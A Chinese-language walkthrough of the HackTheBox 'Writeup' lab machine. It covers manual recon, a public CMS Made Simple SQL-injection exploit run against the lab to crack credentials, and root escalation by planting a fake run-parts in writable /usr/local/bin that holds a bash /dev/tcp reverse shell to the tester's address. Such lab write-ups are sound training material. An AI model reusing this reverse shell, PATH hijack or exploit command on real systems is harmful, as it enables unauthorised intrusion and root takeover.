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1 扫描

22想到可能有ssh登录，80进web信息搜集。

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey: 
|   2048 dd:53:10:70:0b:d0:47:0a:e2:7e:4a:b6:42:98:23:c7 (RSA)
|   256 37:2e:14:68:ae:b9:c2:34:2b:6e:d9:92:bc:bf:bd:28 (ECDSA)
|_  256 93:ea:a8:40:42:c1:a8:33:85:b3:56:00:62:1c:a0:ab (ED25519)
80/tcp open  http    Apache httpd 2.4.25 ((Debian))
| http-robots.txt: 1 disallowed entry 
|_/writeup/
|_http-title: Nothing here yet.

2 http信息搜集 & cmd made simple漏洞

dirbuster扫，但是扫不了，看网页上这段话，应该是被黑客搞过，怕了，封了扫目录的ip，所以扫不了。这让我也想到了华老师
说的sql注入就要多学和练手工，而非遇到sql就拿sqlmap跑，到时候实战中遇到厉害的项目封你ip，还怎么玩，歇菜了？？面面
相觑？

只有手工收集目录了。首先想想常见的目录，靶机做多了，就知道可能有robot.txt，登录框的话应该是admin或login.php之类
的。之前那篇扫也有提示有robot.txt。

https://blog.csdn.net/weixin_45527786
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/weixin_45527786/article/details/106186042


提示进去新目录

进去后，看见是个写htb靶机渗透文章的博客
点击不同靶机的文章，出现page=什么什么，这很可能是LFI漏洞，试试，但是无效。不过，这也是个套路，这台机器上没有，
不代表其他机器上没有。记住这个思路总是没错的

通过kali火狐自带的wappalyzer，可以看到这是个cms made simple

通过 ctrl + u查看前端源码，也能看到这个cms，虽然不知道版本，但是提示了版权是2004-2019，也就是应该是2019的版
本。

搜漏洞。找到这里。kali里也自带

https://www.exploit-db.com/exploits/46635


执行。 python 46635.py -u http://10.10.10.138/writeup -w /usr/share/wordlists/rockyou.txt -c

报错没有某个python模块的话，pip install安装就行了
跑出来账号密码。

拿到账号密码后，准备找登录框登录，猜肯定有admin或login之类的php，输入
admin， http://10.10.10.138/writeup/admin弹出登录框，登录。但是无效。

这里要想到开头所说的ssh。登录ssh成功

3 提权

老套路linpeas自动扫描。

https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite


注意到我们有写&修改权限的目录&文件还挺多的，重要目录还标黄色了。记住这些目录，很可能要利用。有这么多目录，其实
是因为我们处于staff组中。网上搜到的科普并不多。这里有一点

既然我们有这么多可以修改的目录和文件，按照套路，现在总要知道是哪些文件被root执行着。然后发现这些文件是我们可以修
改的，或者至少有关联的。最后我们修改这些文件，加入弹shell命令。它被root执行，就弹root的shell到我们本机。这就是提权
思路。

linpeas看进程还不够。上pspy这里下载。看进程更详细，看root在干啥活，执行哪些文件。

第一次运行pspy，没什么价值发现。但这里稍有个疑点，ssh登录后uid0的root也有 sshd jkr运行记录。jkr是刚才登录ssh的用
户，这个ssh登录和root有啥关联？？

https://www.baidu.com/link?url=y_pXs0FtM-fdjJGoHmvlMc7OJi6aa4lLJTDH8bpmuWU_PlExiBvKUnVYbb6hJGvZ&wd=&eqid=b359ab79001c2ee2000000065ec1ebc5
https://github.com/DominicBreuker/pspy


最后我看了论坛的提示，才知道是要再重新登录一次ssh，就能发现什么了。好吧，，能想到这个，我觉得挺难的。。

继续运行pspy，然后再新开个终端，登录jkr的ssh
瞬间就出现root执行的文件了。 run-parts  命令执行 /etc/update-motd.d  。 原来这个进程是随着ssh登录而触发的。登录就会
执行。 而且运行run-part的path路径还有提示，是从/usr/local/sbin 开始，再到/usr/local/bin,再依次往后才有/usr/bin。

但是查看后，motd这个文件我们没有写的权限。这里只有专攻run parts了。它虽然是个功能命令程序，并非脚本文件，但我们也
可伪造和修改。

如果我们 which run-parts可以查看run parts 本身的执行路径，是/bin

也就是说，run-parts没有按本来的路径顺序执行，这个进程，其实是root从local sbin开始的，找不到，再从local bin找，往后才
轮到user bin。。依次类推

而根据之前的扫描结果，可以看到我们是对local bin这些有修改/写的权限。我在里面造一个假的run-parts
，放进弹shell命令。这样root执行run-part时，它首先会按path路径找，按顺序，便首先会执行我放在前排的local sbin或bin里的
的假runparts，送shell到我本机，我就提权了。

我在/usr/local/bin里nano造一个假的run-parts，放入弹shell代码，保存为run-parts，并要赋予执行权限 chmod 777 run-parts

#!/bin/bash
bash -i >& /dev/tcp/10.10.14.43/4444 0>&1



然后我再新开另一个终端，再次登录ssh，root就会再次执行run-parts，但其实先执行的是我伪造的文件。这样我就收到root了。
拿下
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